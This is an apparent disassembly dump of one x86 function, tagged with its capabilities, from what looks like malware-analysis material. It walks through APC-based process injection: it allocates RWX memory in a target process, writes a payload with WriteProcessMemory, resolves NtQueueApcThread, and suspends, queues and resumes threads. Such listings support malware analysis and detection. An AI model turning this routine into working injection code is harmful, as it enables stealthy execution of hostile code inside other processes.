Function at 0x100025a5
Capabilities:
Allocate or change rwx memory
Enumerate threads
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push edi
push 5
and dword [ebp - 0x18], 0
lea edi, [ebp - 0x80]
and dword [ebp - 4], 0
xor eax, eax
pop ebx
push 7
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x48]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.1000498e
mov dword [ebp - 8], eax
test eax, eax
je 0x10002886
cmp dword [ebp + 0x18], 1
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x20]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x38], 0
mov dword [ebp - 0x80], 0x1c
jne 0x10002611
mov dword [ebp - 0x14], 0x1002d088
mov dword [ebp - 0xc], 0xf5
jmp 0x100026e3
cmp dword [ebp + 0x18], 2
jne 0x100027eb
push 7
pop ecx
xor eax, eax
mov dword [ebp - 0x14], 0x1002d180
lea edi, [ebp - 0x64]
mov dword [ebp - 0xc], 0x144
rep stosd dword es:[edi], eax
mov esi, 0x1002d2c4
lea edi, [ebp - 0x34]
push 0x40
push 0x3000
push 0x2000
movsd dword es:[edi], dword [esi]
push 0x6b0095f0
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x100027f3
push 0x1c
lea ecx, [ebp - 0x64]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x100027f3
push dword [ebp - 0x58]
call fcn.1001535e
mov edi, eax
pop ecx
test edi, edi
je 0x100027f3
push dword [ebp - 0x58]
push 0x90
push edi
call fcn.100125a0
add esp, 0xc
push 0
push dword [ebp - 0x58]
push edi
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100027f3
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x34]
push 0
push 0x12
push eax
mov eax, dword [ebp - 0x58]
add ecx, 0xffffffee
add eax, ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100027f3
push edi
call fcn.10015359
pop ecx
push 0x1002d2d8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x100027f3
push str.NtQueueApcThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x100027f3
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jne 0x1000272d
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x100027fc
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32First
test eax, eax
je 0x10002722
mov eax, dword [ebp - 0xc]
push 0x40
push 0x3000
add eax, 0x14
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x10002722
mov ecx, dword [ebp - 0xc]
push 0
push ecx
push dword [ebp - 0x14]
lea edx, [ecx + eax]
push eax
push esi
mov dword [ebp - 0x10], edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10002722
push 0
push 0x14
lea eax, [ebp - 0x48]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10002722
mov eax, dword [ebp + 0x14]
cmp dword [ebp - 0x74], eax
jne 0x100027db
push dword [ebp - 0x78]
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x100027db
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
cmp eax, 0xffffffff
je 0x100027d5
push dword [ebp - 8]
call fcn.10004b74
pop ecx
pop ecx
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push esi
call dword [ebp - 0x20]
test eax, eax
jne 0x100027db
xor ebx, ebx
jmp 0x100027db
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000278a
jmp 0x100027fe
push 0xa
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [ebp - 4]
mov ebx, eax
test ebx, ebx
jne 0x10002833
cmp dword [ebp + 8], ebx
je 0x10002833
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10002833
push 2
push 0x20196
push esi
call fcn.100037e2
push esi
push dword [ebp + 8]
push ebx
call fcn.10003cf0
add esp, 0x18
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 8]
call fcn.10004bd1
mov esi, eax
pop ecx
test esi, esi
je 0x10002863
mov edi, dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.10004bd1
mov esi, eax
pop ecx
test esi, esi
jne 0x10002845
mov edi, dword [ebp - 4]
push dword [ebp - 8]
call fcn.100049c2
pop ecx
pop esi
test edi, edi
je 0x10002878
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x10002886
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
mov eax, ebx
pop ebx
leave
ret